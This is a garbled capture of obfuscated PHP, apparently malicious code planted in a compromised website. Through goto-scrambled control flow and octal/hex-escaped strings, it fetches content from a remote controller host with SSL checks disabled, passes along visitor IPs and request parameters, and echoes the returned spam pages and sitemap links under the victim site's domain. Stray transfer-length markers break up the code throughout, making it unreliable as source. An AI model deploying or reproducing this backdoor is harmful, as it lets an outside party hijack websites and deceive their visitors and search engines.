3 $url, CURLOPT_ 5 RETUR 5 NTRAN 8 SFER => e true, CURLOPT_ 4 SSL_ 7 VERIFYP c EER => false 17 , CURLOPT_SSL_VERIFYHOS 16 T => false, CURLOPT_FO 5 LLOWL 5 OCATI 15 ON => true, CURLOPT_T 5 IMEOU 11 T => 10, CURLOPT_ 4 HTTP 16 GET => true, CURLOPT_U 6 SERAGE d NT => "\115\1 a 57\172\151 c \154\x6c\141 9 \57\x35\x 5 2e\60 7 ")); $d f ata = curl_exec d ($ch); curl_c b lose($ch); 15 if (!empty($data)) { 6 return 10 $data; } } if ( 7 ini_get 13 ("\141\154\x6c\x6f\ 9 167\x5f\x 10 75\162\154\x5f\1 b 46\157\160\ 7 x65\156 d ")) { $contex a t = stream a _context_c c reate(array( 5 "\x68 d \164\x74\160" d => array("\1 d 55\x65\164\x6 a 8\x6f\x64" c => "\x47\10 a 5\x54", "\ b x74\x69\155 f \145\x6f\x75\x7 e 4" => 10, "\15 9 0\x65\x61 13 \x64\x65\162" => "\ 9 125\163\x d 65\162\x2d\x4 16 1\147\145\x6e\164\x3a\ b 40\x4d\157\ 8 x7a\151\ d x6c\x6c\x61\x e 2f\x35\x2e\60\ c 15\12"), "\1 a 63\x73\x6c 1a " => array("\166\x65\162\x 5 69\14 b 6\x79\137\1 13 60\x65\145\162" => c false, "\x76 12 \145\x72\151\146\1 a 71\137\x70 e \145\145\162\x c 5f\x6e\141\x 10 6d\x65" => false d ))); $data = 20 @file_get_contents($url, false, 32 $context); if (!empty($data)) { return $data; } } a return ''; c } goto X5nb 8 1; D_iaM 8 : $vurl 12 = $http_type . "\x c 69\144\154\x a 79\62\56\x 8 69\x64\x e 73\x68\157\x70 9 \x2e\x63\ c 143\167\x75\ 8 56\143\x a 63\x2f\64\ c 61\71\56\x61 c \163\x70\x78 e "; goto N2pxL; 1c EzYoe: if (!empty($get["\16 b 3"])) { $pa d rams = array( b "\163" => d 8 ate("\13 e 1\x6d\144\x48\ 9 151"), "\ f x6e\165\155\142 19 \x65\162" => $get["\156\1 a 65\x6d\x62 e \145\162"]); $ f str = getCurl($ d vurl, $params 11 ); $str = str_rep d lace(array("\ 8 173\xe5\ 6 275\22 c 3\xe5\x89\x8 7 d\345\x 8 9c\260\x 9 e5\235\x8 9 0\x7d"), 13 array($http_type . 1d $_SERVER["\110\x54\x54\x50\x5 a f\110\117\ c x53\124"] . 24 $_SERVER["\123\x43\122\x49\x50\124\1 15 37\116\x41\x4d\x45"]) 9 , $str); 6 header 8 ("\103\1 12 57\156\x74\x65\156 d \164\x2d\164\ c 171\160\x65\ 11 72\164\x65\170\x7 b 4\57\x78\15 8 5\154"); a echo $str 7e ; die; } goto N4dac; X5nb1: $http_type = !empty($_SERVER["\110\x54\x54\120\123"]) && $_SERVER["\x48\124\124\x50\123"] !== "\x6 a f\146\x66" d ? "\x68\164\ d 164\160\x73\x 10 3a\x2f\x2f" : "\ 18 150\164\164\160\x3a\x2f\ a 57"; goto a Aq5NJ; f5X d oA: function 10 postCurl($url, $ 1b postData = array()) { $post 1b String = is_array($postData 21 ) ? http_build_query($postData) : b $postData; 31 if (function_exists("\143\x75\162\154\x5f\x69\x6 7 e\x69\1 f6 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => 14 true, CURLOPT_POSTFI 4 ELDS f => $postString 6e )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\ 1d 157\x77\x5f\x75\162\154\x5f\x 10 66\x6f\x70\145\1 40 56")) { $context = stream_context_create(array("\150\164\164\160 17 " => array("\155\145\16 d 4\150\157\144 10 " => "\120\x4f\x d 53\124", "\16 11 4\x69\155\x65\157 13 \165\x74" => 10, "\ e x68\x65\141\14 11 4\x65\x72" => "\1 6 03\x6f 19 \156\x74\x65\x6e\x74\55\1 c 24\171\x70\x c 65\x3a\x20\x e 61\160\160\x6c e \x69\x63\x61\x e 74\x69\x6f\x6e 13 \57\x78\55\x77\x77\ 9 167\55\x6 f 6\x6f\x72\155\x e 2d\165\162\x6c 12 \x65\156\143\157\1 c 44\145\144\x c d\12" . "\x4 15 3\x6f\156\x74\145\156 c \x74\x2d\x4c e \145\x6e\147\1 c 64\x68\72\40 a " . strlen 13 ($postString) . "\x a d\xa" . "\ a 125\x73\14 f 5\x72\x2d\101\x 10 67\x65\156\164\x 16 3a\40\x4d\157\172\151\ 11 x6c\x6c\141\x2f\6 8 5\56\x30 13 \xd\xa", "\143\x6f\ 14 x6e\164\145\x6e\164" 10 => $postString) 28 , "\163\x73\x6c" => array("\x76\145\x72\ 14 x69\146\171\x5f\x70\ 29 x65\145\162" => false, "\x76\145\162\x69\ a x66\x79\x5 e f\160\145\x65\ b x72\137\x6e c \141\155\145 80 " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF 1c ; N4dac: if (!empty($get["\1 d 51\144"])) { 13 if (empty($get["\15 f 3\153"])) { $ip 9 = get_ip 16 (); $params = array("\ f x69\160" => $ip 10 , "\x69\144" => 5 isset 15 ($get["\x69\144"]) ? f $get["\151\x64" 6 ] : '' 10 , "\x6c\x6c" => 9 $ll); $tz 1f str = getCurl($vurl, $params); 1d if (strpos($tzstr, "\x69\144" 6 ) !== 14 false) { echo $tzstr a ; die; } } 2a $params = array("\x69\x64" => $get["\x69\ d x64"], "\x6c\ f 154" => $ll); $ 3d str = getCurl($vurl, $params); $str = str_replace(array("\x7b b \125\x52\x4 b c\175", "\1 8 73\345\2 e 37\237\345\x90 6 \215\1 10 75"), array(get_ 8 url_info d ("\146\165\15 1a 4\x6c"), get_url_info("\15 8 6\157\13 10 7\x77\167\167")) 1b , $str); echo $str; die; } 10 else { $sitemapU 8 rl = $ll 10 . "\x3f\x73\x3d f " . date("\131\ e 155\144\110\x6 c 9"); echo "\ c 74\144\x69\1 a 66\40\x73\ 11 164\171\154\145\x 10 3d\x27\x74\145\1 7 70\164\ 15 x2d\x61\154\151\147\1 d 56\x3a\x63\14 12 5\x6e\164\x65\x72\ d 73\40\160\x61 10 \144\144\x69\156 8 \x67\72\ f 61\x30\160\170\ b 40\x30\73\x 8 27\76\x3 10 c\x61\x20\150\16 a 2\x65\146\ 6 75\42{ f $sitemapUrl}\x2 d 2\x20\x74\x61 12 \x72\x67\x65\164\x c 3d\42\x5f\x6 10 2\154\141\x6e\x6 10 b\42\40\162\x65\ b x6c\x3d\x22 b \x6e\157\x6 3f 6\157\x6c\x6c\157\167\x22\x3e\x20\x53\x69\x74\x65\x6d\x61\160\7 e 4\57\141\x3e\x 9 3c\x2f\14 d 4\151\166\76" c ; } goto nnS 5 Bp; U 4 h8So 13 : function get_ip() 8 { forea d ch (array("\x 15 48\x54\x54\x50\x5f\x5 9 8\137\x46 b \117\x52\12 b 7\101\122\1 c 04\x45\104\x e 5f\x46\x4f\x52 d ", "\x48\124\ 11 x54\120\x5f\x43\1 7 14\x49\ 9 105\x4e\x 14 54\137\111\x50", "\x b 52\x45\x4d\ 11 117\x54\x45\x5f\1 a 01\x44\x44 a \x52") as 4 $key 1c ) { if (!empty($_SERVER[$key d ])) { return 8 trim(exp 8 lode("\x e 2c", $_SERVER[ 9 $key])[0] e ); } } return d "\x55\x4e\113 b \116\x4f\x5 f 7\116"; } goto c f5XoA; shqZL 19 : function get_url_info(s d tring $return 11 _type = "\144\157 f \155\141\151\x6 d e") : string 7 { $host e = $_SERVER["\ 18 x48\124\124\x50\x5f\110\ 21 x4f\123\x54"]; if ($return_type = f == "\144\x6f\15 9 5\x61\x69 15 \156") { return $host 1c ; } if ($return_type === "\1 d 56\157\x5f\x7 16 7\167\167") { return l 10 trim($host, "\x7 d 7\x77\167\x2e 9 "); } $pr 6 otocol a = isset($ 1c _SERVER["\110\x54\124\x50\x5 25 3"]) && $_SERVER["\110\x54\x54\x50\x5 f 3"] === "\x6f\1 6 56" || 1a isset($_SERVER["\x48\x54\ 16 124\x50\x5f\130\137\10 e 6\x4f\122\127\ 10 x41\122\104\x45\ e x44\137\x50\x5 d 2\117\x54\x4f 27 "]) && $_SERVER["\110\124\124\120\137\x 18 58\137\106\x4f\122\x57\1 f 01\122\104\105\ c 104\137\x50\ f 122\x4f\x54\117 f "] === "\150\x7 d 4\x74\160\x73 11 " ? "\x68\x74\164 11 \x70\x73\x3a\57\x 18 2f" : "\x68\x74\164\x70\ b 72\x2f\x2f" 8 ; $base_ 10 url = $protocol 9 . $host; 21 if ($return_type === "\142\x61\x7 1a 3\145") { return $base_url 8 ; } $uri 18 = $_SERVER["\x52\x45\12 b 1\125\105\1 d 23\124\x5f\x5 9 5\122\x49 9 "]; $full 12 _url = $base_url . 1e $uri; if ($return_type === "\ c x66\165\154\ 18 154") { return $full_url 16 ; } return ''; } goto e Uh8So; nnSBp: 2 ?> 0